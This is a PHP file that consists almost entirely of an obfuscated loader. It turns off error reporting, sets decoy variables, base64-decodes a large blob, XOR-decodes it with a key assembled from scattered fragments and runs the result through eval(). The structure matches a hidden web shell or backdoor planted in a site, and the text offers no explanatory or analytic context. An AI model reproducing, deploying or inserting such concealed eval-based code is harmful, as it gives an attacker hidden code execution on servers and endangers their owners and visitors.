<?php 

error_reporting(0);
$mhwva="wqkohmh";

$cjfw="kodm";

function n($g, $j){ 
$d=""; for($p=0;$p<strlen($g);) for($b=0;$b<strlen($j);$b++, $p++) $d .= $g[$p] ^ $j[$b]; return $d; };$agk="bkvs";






$edcd="ckl";



eval(n(base64_decode("UDC_EQFD\MV@TSPTI^KECT^EAM _&^IZI0I3
KLA^EH@_GXV&S\Mz
KLA^XI_HCXWMMAMO&A9sI_XHXLKXX1E@
^iGSVQCI\]^EAgM@M7/CIHUENHHTMJWUNWM^
YM\IO^RYJR_MU&KM	
'B4BOC YX,~1n}_i!V?)7)# 'T6nj7.K +O1& @P."J*'5>0$J&F6YO)IIOTEA K\hJJYEBR& =WBC2E"_L*X[D		E!0X^O
X3NF ^IeBM$CUP@DTTH
"9T	QEK__\MI,R0NCXXT[LGMI>BXG<U[QO\[	UY\M	e
XR%PTCLJLJ SZ@ ^IeBM$TTT^BMN
"9TQEKZ\\_ *P.[[	XX]FI\_eB\dMSIOZDAX\	I-BEd_TV@LLSL[F ^IeBM$TTU^N:IdYT
WKMJO]^*N;CACX_EEyJ%]NCAJ*\YKqLJ!J_EJSqMJJA	 WJ3BYD]0wED'POZPQYc RXPISDIXOHX"I*^
O^R]TNDBSJAZ@I	NCDMMDPIXH)LOG1*VT_BE]]TF_^MDSVTBZVTO[BECMJq_w\[QSS[LAMM\TSF^_OBJHPVRHqYw^@UQQGTM_]B]%J LMEKM
wJNB\U L_OXL, _YUZKCw^GS]QMCA^@UOU'AEO=CAN^@U QPTFLHRHSXJ^YTNLG^LUM^8KRHJSXJ^YT
RKMwJ*w^GS Z]QMCAOE^@UUQGT]BD'ABXwM\TJSF^_LHBJHPV
CHT
]E]]TIF_^MDS@TBZFAqMKBJ\^_NRJJ!HC6*VTOQBEJOC\UN_OXYF	OANCPqF/^MDSPTBZATNMANCTPq4UQMCVQTHICDOKDq[[HRM
	0IATOLG^LJ^^GSU]Q;HOECBH*DO_ER/!]TAF VaxOIKD_]ANVL+%!/	TGVY 
H,KP  _BOD"	TGVSBD{^?HBP TMBODLLWG$:+bF OXDwC ]M HJDO]@WD\FP2KnB,K CB+h<ddS B_JTAXI]\XB@LrJ PXC(S B_JT']AMB@UOZGO"J<DV_$VMhCDB@VJZ^CSMDV_ )VMBz!"kVJEMCSYDV_VVMJPDBxVJKXCSI,DV_VMVCDB^	VJXBCSM
DV_VMC^\Y)y7~P 
 EBODTGV{  H	XP EBODTGVUG<* \T]A^EHX
]TAF VKbMOIKr_q]AHCHX ]TAF VxEXC ]YB'}=%]TAF V^#{+VJ^pT]DIDRJ< ]pW\IC ]9EqT;YHWIXYLE_QAIY^TcMJXC_I:CG< fC SLIX=XI>XT!wKDJ ^@LXJ[YT^LG'Ey,[HDTDSS[LAGO KqLQGT^PBQ]A}LDJM}GGTZ]KS@RZ@I	CBQOy!PTLHRHJRXJ[YTPRKO
*TC(YF	IANCUPqR?B^DQ
;}CMTT^\[_NJH]WAZPYOXELKX%CGE
\gL K\^J@IXH/QHO IXw\U[_OXYF	A87\LJNFDSOD>RNCZ\XUCQJPgD\\MSMOXYF	NANTT\\HDTDSSAZLXHJfA	X^MYI_\ K)!HA6XZI_I YBZY@UK <	I
NDIsCEIGSBBJE\P.CGEI@BHHV]TE X: CV]B WE I2OCGB]TGAX _I:CGP_YHX_OSJO_sCCG DY]AE FI'IY[HOIHH_^JO
X"[ ]+
OCBLJYcRDIXBE'^BYy }A91JF@
 -^!-;HYBdS@hLgV'LQE	\H
 0I	HCDTTX^ 88RHJ
XJq sCEI:^YTLG^L^ 88RHJ
XJq X^_AgMZ
5_61LOXD^G)_JYXR3J9B
C_X X( 1EL[DIMBB!%OWCB_E9I\_eB\dMSOOZDA[\M	e
XR%GTI]JSHQM^_eBX@-DTT\^_N:IdYTKMJ]^*N;CVQTAJ\TQQM_I&XM+KJ ABXN	E^I3X_dHDT[DSQICFHM^_,XLdR]TF[[IRUeXd@B\TH]DXTV]H:IdYTIXLETTF\^_
=BK+RH]XHATN@^I3X_dHDT PDSQICHJyUXQfMNMIIE8] V<w_ 
XCqRDLQO OK2S (L_q>K_E*FOQK5TVRCOE3gC> SL.X^IBDhGYOXBM6O+Q&V$L	O ,6y*^
 YC2C_/Y* ;QOE8CZ[(LIUA"*u2H]ApFBODTGVPE\C K CM[BIDA_L@TF mN]AC[HX
]TA&9=F V\UZy&c#ZP ^GRU)<1:VM@`#d#VJcFCSIDV_#VMHUaC+55HIP MBODTGVS@_5E@J P^@`*94A_LUV o K CI	[_CWWWJ-<<;5]0i+D]A@EHX
]TAF VO^IOIK^Z]A\\HX]TABRCQk~Y/Kq_cGYOXBMJA\JQ^^
5ELQ@
 Gw Mq!PTLHRH_XJ^YTKO^R]TNDBSAZ6YX MB^!@ COI8PVHTQE]]TOF_^MDSTBZFXVq	BEBCi@
wKSUZ@VIVq^@B\T ]D_ODJQ
NCPZ^ ZOJ BO^ #[[	IXJO8QY@VBDC1@ 8PVIH YM]HPqF  *VTH	BECU]0w_HDJQ
NT[	V^@B\T ]DP@HH) 6]MBO 
iI6^_BJH]T6YH COY X?^RJHMH]BD'#[LAHAM\TSF^_T@ND_;[
D^i@E I9EIC YHWCB_EBC[4BSAZ6*ATHOANTTT\[_OJHPVH MqR^XPBQ]QP{EDA@UEN ESXHEJFZ\ BOE@]CXV YCJVVC[AQAXUYZ]S[EOZ C

 IQIAN MEM\EA E
DIUMMETRK\DQEIJFZ\ BOHE[P ES@YF ILJCA_VWG_DUSSJHVC[AS\		EXI^	O
QIM^MKD\^XNZ	 MN_MBTRKNDQ\IJ
DDI_[PHZDQEZQH_DDI M\_ IYB_I_CSTHVC[AQAXU\AAJ^K
XZBY^	K_M\MBX\^XNX\SE]_UUMMNTRK\DQHZS[H]FXOD_EZTJEFKEQHN[_LFZUMN\OHE[P ES@Y]FWMWZOHR ESXHEJ]_UXOQX@IOB	V_ZUSSJHVC[CTJ\	LDO^XB
	AO^XEMIZY_Y@ CIQDM[ I_KEQHH]FWO]NONVYX
SEZQH
DDS@JE W_DUSSJHVC[AQH	VMOXEB

KEDXIE^HIWNEF EEZIL^@GK\QHH]FWO]E^MAEX@PC^^_CSA_FDLH	EDPG	M
LFVM	IDQ\IJ
DDI_[Nn&pBs_
 G,sC\IG@FXD}&JO
XMI~MA7XBBZEFB[XAW{H	X^M_N_%IY_X^7	\MEO B\]^ZTm5oh*2k-*)14+=$!0~"xyz?=5vC ZI@KIWBYTAEEHVI@BK^iprKY@JBOX
sTXX712m7oLDBXE (" H^mj@LLWDEM_IXKG%+#!=43wVkic!53m h(Jq^IRMKG%+#!=43wVkic!53m h(Jq^HERMSTHHBLXH
E\UA3!~,(~,k*;e5<"><4T6J@_ILL \UK+ 15?*=T#%5|.tsj'7;m6h?)s1c~H)LCE\XN[O.2i#zi~3B$x0|%5s1c~85~!&'%>)!L,HO_K\TKJW

O\A<0?*069*Fd%x|s0:*c6{;?h2hs);~B>JFFNW4"$~'i~wO6)~2i(2m3h~H)LJC\V\CHI@B@H^22~z*&wB+7.(9+47.~&m~h-!3j+~]0LXCG=C6J@_ILL \UK+ 15?*=T#%5|.o`e-+8s-|]0^
ITMG<)=4%.#:9xx|7& e!b.2e'qFHBRQMVV][_PX

HMD;??z2~wH<x13<94/6%%>e!qT[D;??z2~wH'i75&(''7/#FqXA\Y%>i%zi=/-77*'%?"4/x.e|5^@	EGUIPB,843z4~w 18|;o<2o8bb*7x,-$%16T6XHW
@A3!~,(~,d; |: %%;)=%4"x8bks!5KqMDJE_ZKRDSX@UKYI.i~> >wCd.9|(oj07c+-&9,/=,.(|VqVMHs7i(;i%w<1~3&1%9"79V<XWL@s)(~!i~4Sd173%; ,(>/b4oxe&"3e4'VQWI@G

EB,843z4~w: !c0i%,h3~2OQEKU\JQ&ofERLJBOC<YFKX~I		ISD&OTQI~IM	JLZ&}OTECCNUYs-7:i6w]%x#|s=1j 1&(_;ZBQ&QHELDZM(i="i78D2,2#4#$j4~i~O8LDKIZH<x13<(= 6943X&HELDZ&}OTECCF[Xs; >z!~!Jd#x|0&i#&1?*A.BXA^XY^EN_&pMWOT
SO.2i#zi~3B$x0|%?i1i~*&8XiZXFS{&{EJ@D
Y
OCsI_K]9 @MAfDZYOXBE* XWDI	\Ss*&z 18]02';.44~sm/ "xCqSD0'i75&(#A;?%1s$i~7$+i*x]0JK
 IK]02';.44~sm/ "xCAMQW^I^CG%+#!=43wVdxx8:9!~%,k2bxH)EirlXCB hAB9MA
\EiZXFSOMI^_HXLMMI(^II<X&HEL^XBWD
H !Z.CqJ&Q&bBXBWKI$^

[BQ&Q YBZEA\A<0?*069*Fd%x|O8EB
ZIs$i~91~>D+.,6 L,AL
DPM(i="i78D)=4%.#>|>~x5EQDN^WMX@WIQKKAXX\RJC_&g&YB E
C! IXdI		^SMW}OT KLAM^MU@LW&DZMJ^IDMG<)=4%.#AMGLZ^MYIFTWoCCZXFSKQJQ_Y
^LU[CTLC_DXA;?%1sVWbELDZMWOC
HaQAQHfDZMWMZEF >^\@M DDVMZ OON >^\@M D;VMW OXYY_X^@AI ZX^FO&ECCZXFSKU	IHI^>HDM^*OPZClSKQAQ{H	X^MIM^XirlXCBOhM_D_ TFWHI L

JIP^WeTEC
PG. ^MUL	I @DWB
H	CGXUBII		_&ZMWJCMK^_	^Z&WOTEC
P_YDMMGVMYI EGXALJ		IMX^BO ^XZWIS\QCB_Y^
Y	iZXFS{AQ^IBDJ_&~&QBCHI, C I"^_XCTJCrFSKQEHXMUEN_&ZMWJCTA
CGXVHKUM_X		BLD^WeTECCZXFAUFHUW@FZQX^BMGSCFWZJ QECLLWnZMWOTECGK_\UXw8LrD6qeTECCZXFaQAQQ&HEL^XBWH M^ipr EBIH^IK  EGSXyKQAUHMX	EQBHhIH ;PBGQEGX&HEL^XBWNMQ<	YEHXMSo&nJOECTH  5IY_ HADWpMWTE	PG4OHILEnZMIXBE/CItCMH_H^
L&Qe~J 	KX#I_\IL@^We~ECC^
 Q\V&HELJR_(OMMR_>EEXALLWnZMWOPOC^Z.BX _&ZMWOTO%UOD H&9~(c*9s$`0"i7*%#(#69]AJ@_IA^fDZMWO@:CUD]oy:)#|0s)>`(zi==j<+,),JSYXZ&QHELYsIX XMG TF0>#-c!xsj') c3`5.m#ec!XTJXpXFSKQAQOY^:IC
SODCTo01/5(2,945y#bx~)+?j!~VM^&OTECCZX>_XC\MHO Z.y%`c? s-&">=4_KAH{HELDO@(_I\KGJS($3`>|xs+*"b!o.9e:ic:  ERSSClSKQAQO sI\ E 6(4)#?.5e<icy<ILTAgWOTEGSVQY@sI @OD}OTECC^LOY	3KXJKDEJXpXFSKQAQOY^:@_EDT~ECCZXFSAUDIM wCD\(OC8CBGXTC[XA^XY^E
M_V&WO	 XyaQAQHA^s
^IHOI	9I^@SoLDZMW_XCK^4 ^IHwODAJqWOSD	_OHaQAQHAIGM0ixOSKCG

,_HwDCqAg&WOTEC
P UY^@7^I6YI8JJZ\QOQHKL^2\^_
wB
T6Jk&QHEL@^YMTd173UIHC7=B9C_XRENJ^^s\_ 8]	 V<_p9oBOECN&	:7=^-BbELDZMS_CXC	BY_	LD	@MHTEDDSXHSO@.\M^ wCDXPq OP_CEXRGXQ[IboLDZMWEJGP_
 SXyKQAQHEL$J
XOOC^
BJkQHELDZI^W_O&ECCZXFSKQAQ[DE DIS_CLiCZXFSKQAQWbELDZMWOTECGX[SX_ DJ_^&OTECCZXFSKQAQEJ@AD_RTXiZXFSKQAQHELJRINWOVp?XQFWQ\@&HELDZMWQeTECCZXFSKQAlO@C DCL&OTECCZlSKQAQ{H	X^MI_O&iiBQ^I] X4C	SY^XA BQ&{HAI\ZPPe~ECCN.M@MN DYsBESLCprFSKQAQO EQYsBE\SClyKQAQ@;_CXKDIC /**<;%>"`sz-7%j=|?(~[J_ JXpXFSKQAQOY^:IC
SODCTo01/5(2,8"-s'i~e.<$c7xVM^&OTECCZX>_XC\MHO Z.y%`c? s#,/671?$2 x8cb HTEnZMWOY<	ID +0>`+|.2~2xy=:x7"-)>#!GQPJ&HELD^s_
 CK^_K24~=c|x7-)m i(AGeTECCZXFsIXCDDVMo"~` $x: ,46#0?%(a4cyxDE]MpMWOT'XYODDE/y6`5=x(xe"1c07OZIVZP{AQHEY@%IC\\OZ;3!'>1x.|c<ILMpMWOT'XYODDE/y6`5=x(|c< j,&/>+JSO ^A_SofDZMW_C^Z.TOEnZMWOPD 
FNK^sKIJZIOT~&ECCZXFSK^sO@	@OD}&OTECCZ SCU	IHI^3BX\%CI2TXCQJHOSYBJ		I_&pMWQ
_ CprFSKQAQY	3\^	HW^<

[O@X&HELDZI_@RTA'H*_O  ICqZPWD \DJArlSKQAQ
XTMW_XM< >OIMXM7&DZMWOTED	ASVOAw{HELDZMWOSZ 
9Q _ pMWOTECCZXFSKVIEJU7	IsARJ	lSKQAQHELqnZMWO)^iiUWFSKQAQ^@dXWGP_CEXA [^HBKDZIY@s^!_FqQJ_NJRI_@PTQPC@XB>\^_I>K\^Jq^&OTECCZXB@dC_EQL	@WH_	YLU_FIKVFQ sMIw_D>ArlSKQAQEED^2\^_
wBA.BQ&QHELDZMI_X-XHNKS[Q sMIw^D>ArFSKQAQQI	WnZMWOTECG)CXUED_DHUVKCWNKFIKS[QX^fDZMWQe~ECCZXFSOOIXUEXI sCOX: CUIY@X 
XH^^BCCT 7_K@T Qx~-$!s'`3(b#so :b  7VXBI	XboLDZMWEJGP_
 OS{kQHELDZ\X_GP_
 JSI!.%FEHY@%M_I/_;SEQC9xx|GTB8^&^&OTECCZXFSKQ\X_LOIAUdC EACTXB>\^_I>KD_JqWM(^9ASClSKQAQHELJYS_CIOCX;	X\XU\_LM\OXE NK^@IHH&pT~ECCZXFSKQA\YXMH_OX[,BU
DK@BRI\^MKA?$QBJkQHELDZ\X_GP_
 JSI2BIOX
DO_p^3p?XQ]yKQAQHEL\___ G OZ\_Q40B8^&^&eTECCZXFSKQAX^fDZMWOT
NRJY_C	XMZ&WOTECCZXFSKQA	X^CGIXTSQNQ]yKQAQHELDZME]A	F]VQENJ&HELDZMWOTEKGX[NKS=^-BHAYKV&WOTECCZXFa{AQHELD@_IGP_
 OHa{AQHE&nZM
&&OTEKUI\&bf&YXCBOI =(B6IX{oU
S\MAICGZK
kQ^^

IsA OKAU8IQGQICHI;
^IR^HIH KG
XMUGIUALLYY&OTECCZ^@yKQAQ	K;AO@(JAOZY^OM^HCIKMSTFW XHYp&}JYXZiME@!+I{D5M_
BMG
BQ&Q YBZ^KsXKXW&\I]AN_I\:ICS\MALJCGEF&QHELB
pMWOT'	SpGG@M	CsH
CK^
HQI_&g&YB E
C$AE@e"	XL
^AO&ECCZ
^IK7XDRO7CTOSVLAXYI&HELDZM
Q&OTECCZ.MODJJ0KVMM^E^^ZJkQ{&JYEBZ_4CCI [O @HMX1GB>OHI]iiZXFSOX2CYBEQTpgWM
	[O.&i%wKG1MgWOTEG%Z7")x?*&OTEipXFSKXCCG D	C[^V E
NZKZAG HGCMpgWMB
	CU>o>cge->NANOq^~ECCZXFSAUKIX+
BGPBIMJXpXFSKQAQDIM C`MECNBMG%+#!=43wV|d|76)`"'CUKIEMCR\2YXHTEJXKXOZA5CIBhHHSVEIG]oCCZXyak&U^I_
_GMU&KI	3Q\S&bJC(EM@Mip [Is/ 8wCXJq^
ITNLL9Hs/ 8wCXJq^RT%GBhI
I Z&}OTE . NI7")x?*e~ECC^	5 X	MROXRJA5CIBhHHSV&WOP\FNK _sC IR_Bs
O
R\ %MMSofDZI^]Y
X0ZEFWXQD2MHXIT~&ECCZ\BIHE		^\sKK	1CX Y_8^ KM	QOZP{kQB+NOO_
<IHOCH6YOEI_BOZ\XH{&HEJD^_BcINDA
HXIx	BCQZPWZE,	%ICHIEJ
DCcNON]_X%CGIBYZO(C0:ASXyKQAQCDF	B(IBH KAJ'	C4QsbELDQpgWIMJXprya^N4AMEE^O^}&
M7AQbAIGMKX~
@RQ]yOLKI7	Me
,H^m)\^iiF[Is/ 8wCEJq^~ECCF[IXiA	 e
k{XD,UK^'!6?*FEq HAISMAMx SVQICHI;
^IR^AK+k 78]T6XMUGIUA^fDZJWH
 I&"&I{EX '_NE(ki;/D'QOSOM@x^	IGMN_IY@s [O.&i%wEB1_&ZMWEJO\H #
ekIX@A3k!x!JEqF]A
'G^HA3k!x!JEqT~&ECCZ\_|M^	Y^UG~ECCZXFSLQL M@.MGIX&ECCZXFSKV\VHA\H&ZMWOT]X[MKUI&HEEnZMS^II6FNKU	CXHAIZh\@ g XpXFSKUI YI_5^A	MWY^BPI"CY^ DY@OHIG\F%U^I] X4MAFT EGOZP{AQ^fC>XOI	6II]Yy@VMI]_3 BJk&Q	MpgQ}&XC4
MY&bAMD*^ART: ,53/60S	\SqHA3o+c1$i,DVqEYCXZ]yO XcJJ Y^2o8cg&1wGA'XYSO."c>gei3G9@MU&KM,Q\Usoc'.%i?OqWK+o*,(3==QS<KSoH__*MJCXCG%;)< 8$wS_\5ES@s9"c<ei4V_A>ZBFQIJkU_y	EQ@s9"c<ei4V_A>ZGFW42.c:eiwJ9@MU&KJ-SVQEs2ccg! 7YX0H07c*(*?#DS<KSoH[N>EI^OIA< 57-:.*C[qWEHs'c5&e2w8CYZZDHaUMKyMHXL_N	^_s<1~3&1!_.'?!>m2oi|<: m*k/,k2qCD WJCEX	^Ys-7:i6w]%x#|s.7o 37%4'=,$ k4q XI^DZOL&
MCGXDQP{EIME@8M	b IWMVoG
8EKkIEQFAgIM^5	Q\IX~IX2MI^\>A0K0\4M\|@M^	'MWKI&I	.
^wJ6	OIo@y|XZ;SQQCJ&&EED;o5"g>iwM8C^GXDQBQ&QCDAOV MIQOUF_OhIXATYL
OC{H DXQ_^E  QOCOMBDZICM\^_L	_J&HEESV&
&&	^  XNW46$xQM_LAGSS\MALCprFSKQJQ\	ADGMU~ECCZXFSAIXI)AE$B0IX8X [O ^A L	UMZ&WOTECCZXFW E C I)YOIG ^K^
H QGILW&DZMWOTEG;MbMAEQ@B IL&OTECCZXFSKBEBY^fDZMWQ
_ 
RiME@!+I{D5M_
BMG
BXAW{HELDZMSIA@E^C]E>HOCHM^ARI\^M] EGOHaQAQHELD M@|M-FNKUMI&HELDZMWB
]yKQAQ  _EEHXI i
14IM^MLE&ZMWOTECC^AQ\MnZMWOTECG! ^AbM LDA&OTECCZXFSKQCXEB W&DZMW~ECCZXFSO IUXK#IMJA CMZ_[TK_AM^MEBF
XV&WO	&oip\^EB"	XDZY_X\5K6IX HU@ISV&}O$^ F
 A&&GE
C
^AX CYrlQIM_D8M	ZIIMETE[O _|M^	@@DD'M^wU>JArlWY_Xy	LD_OP_ 
"U:IUboH^]_|MAC^Z
A{HB\CGSSE\C~ECC]
LQ\Q^IIfDZJYRJAVrFSKQF@VHA M
K/ }OTDZEXSOM@ &HELCH]MIX ,G{AQBOEQDAcJ	IOiZXFSLQL_4@J^AC~ECC]TKL_UDIM |MCA eTECD	ASVOAU_y	IfDZJERJA
>M&QODDM IN+EpQ]yaUI YI_5^A	MWY^BPI"CY^ DY@OHIG\F%U^I] X4MAFT EGOZP{k^~I	_&pI^_\%C0X[SY_X|@^Y_X:@ICG|^MALW&@^\=_C;NC^Z.ICHI@	OH>C^O
\
2"^]GE_&pJW_))Q\QH ESV&}EJO\
2>F\W	EB<^!E_ CAZE[SI_CA`Mg&WOJEKG!B>NFVNY@XJMVE
POHa{AQEJHMX\S^If5^U
CY@QDEKC
IEIZ M AZKP\QJM@ E&UBWOTE FQW^\XH[TCMXBK
YCQ^I&_B5FZWM^	AZVDZPMN_^E\[NnZMWOOCXDADX\E]I^IE LFJY^@UGB@^\=_C;NN]ZS_J^fDZMWHLXiZXFS{kQEEDA@WOVLCprFSKQAQEJ@Y
XRIs0ixFTESJZlSKQAQHELIDMKAI
UV^IJ DCBIBIUX[QEQE^_\f
cFWSWUY^VQEMAEZHSO IUXK#IMUMO&ECCZXFSK@IWbELDZMWOOCXDADX\E]I^IE LFJY^@UGB@^\=_C;NN]ZS_J^fDZMWQe~ECC
 Q&{HELDEEYI
!Q\QHfDZMWOTCR\1MMAHfDZMWOTECCZQCIXMHXYZHI	ASXBXOUWY@GOW^
\/7FO^@EB@DD'M^KADDZ]yKQAQHELIIWW&OTECCZXFSKQAQIO 
LXAMWDX [T^_DHBIP@XAMZ\+_BcNHRWFY
MKKCG! ^AbM LFXCSIA@EMA]FDHaQAQHELDQpMWOT	Fa{AQHELD_DD5OS{AQHELDZMWIOG_S\\I]YQIIDOC[T[J^&HELDZMWOTECCZXHSO_f_C*FIOY@~ECCZXFSKQAQHELJEOW]^0,_D	|^ YHJ^iCZXFSKQAQQ	IDWpMWOTECCZXFSKD MDD\ZI]ZXDFCBXCA^eTECCZXFSKQAQHELD_f_ c	NDDCQ{HELDZMWOTECMXGD]KUAE@|	A*M&WOTECCZXFSKQAQJXND M@&OTECCZXFSKQAQHEBBTMYI
!QOSSoLDZMWOTQoiCZXFSKQAQ{&HE&nQpgEKI)	<	L
MOB"C;EEX C^GXD dA@AE&DZMIDCOMUN'IY^I&_B5FZWMXAQ]yKQAEIA^fQn&_^
\/7FOOXE*CzEC^M	X^CX	 5AEBAE&DZM^@;~ 
KLAKX|^O@RDYK
 h
(IJ&HE	OCZOIXTDW\IJ^DOXBXRS^ED]KU^xC~^OMUMO&ECCZCXZ&&&EEDI	fCB FH]Xj^zECMJX#DZK
kQDsI	C_I0CKNHRZP{AQHEMEnQpgEKI)	<	L
MOB"C;EEX C^GXDXW&bELDEMS^If5^U
CJ@IB		GPUOE KJArlSKQAE@I,MDZMI[+I N	SNBN		PsOHIGP^ 0	$OWJ		hXOQ^T~&ECCZ SCsIXs ISD&OTECCZ,s@IMMEnZM
&&OTEG0MXI^EQI^XI=B)IJ&HEHNX#YNIXC
~BHC6^BEL&OTA'LKI MI(BCA< ^RQ]yaQAQ_M -_DZ
II^ I7 BbELDCbMXC
~BHC6^BEL&&OTE FW@QT^\S&YB E
CXVFWI0_JMH_WW&OTEAMZ\ _"CY^ .C UZC}Q&e\J 	CXAW{H		XDTMUX
7DQOQM
CTME@
0MCTZAZP{AQHEfDZIAT6	_QUEI;^UMZA%
 OI^_HKNI
XeTEC
F[X^LEDZOWN I&_@XZ\~ECCZXFSI_AUXI&N^	MUwE2TEAMZ\
"D^MO _DXCOM^,H "ROHaQAQQ&HEL@XZOWN I$F]IQ\I[=X\mMAT6	_QSoLDpMW@
 GMC^
	? AHXLB[Z/@N4VEG2 UQqDEX\WPOP^ 0	$OWJ		x\OQWH	^iiZXFSI_AMZI)LFXCSN@ bZVD_KVCQ^I&_B5FZWME	QQOV&HELnQSEL&&S[_

XQP{kQEEDI	fCB FH]X
OmJX*EIX}OTECCKS]AXM \IIEJ_FIXX^^XCS^If5^U
C^HE^mXj@IM	KADDZ]yaQAQHEI@LW&&pR}&"),"q,,,hel,d,zm,w,,ot,ecczxfskqa,"));


$tys="owajqek";
$pong="nzfzknb";
?>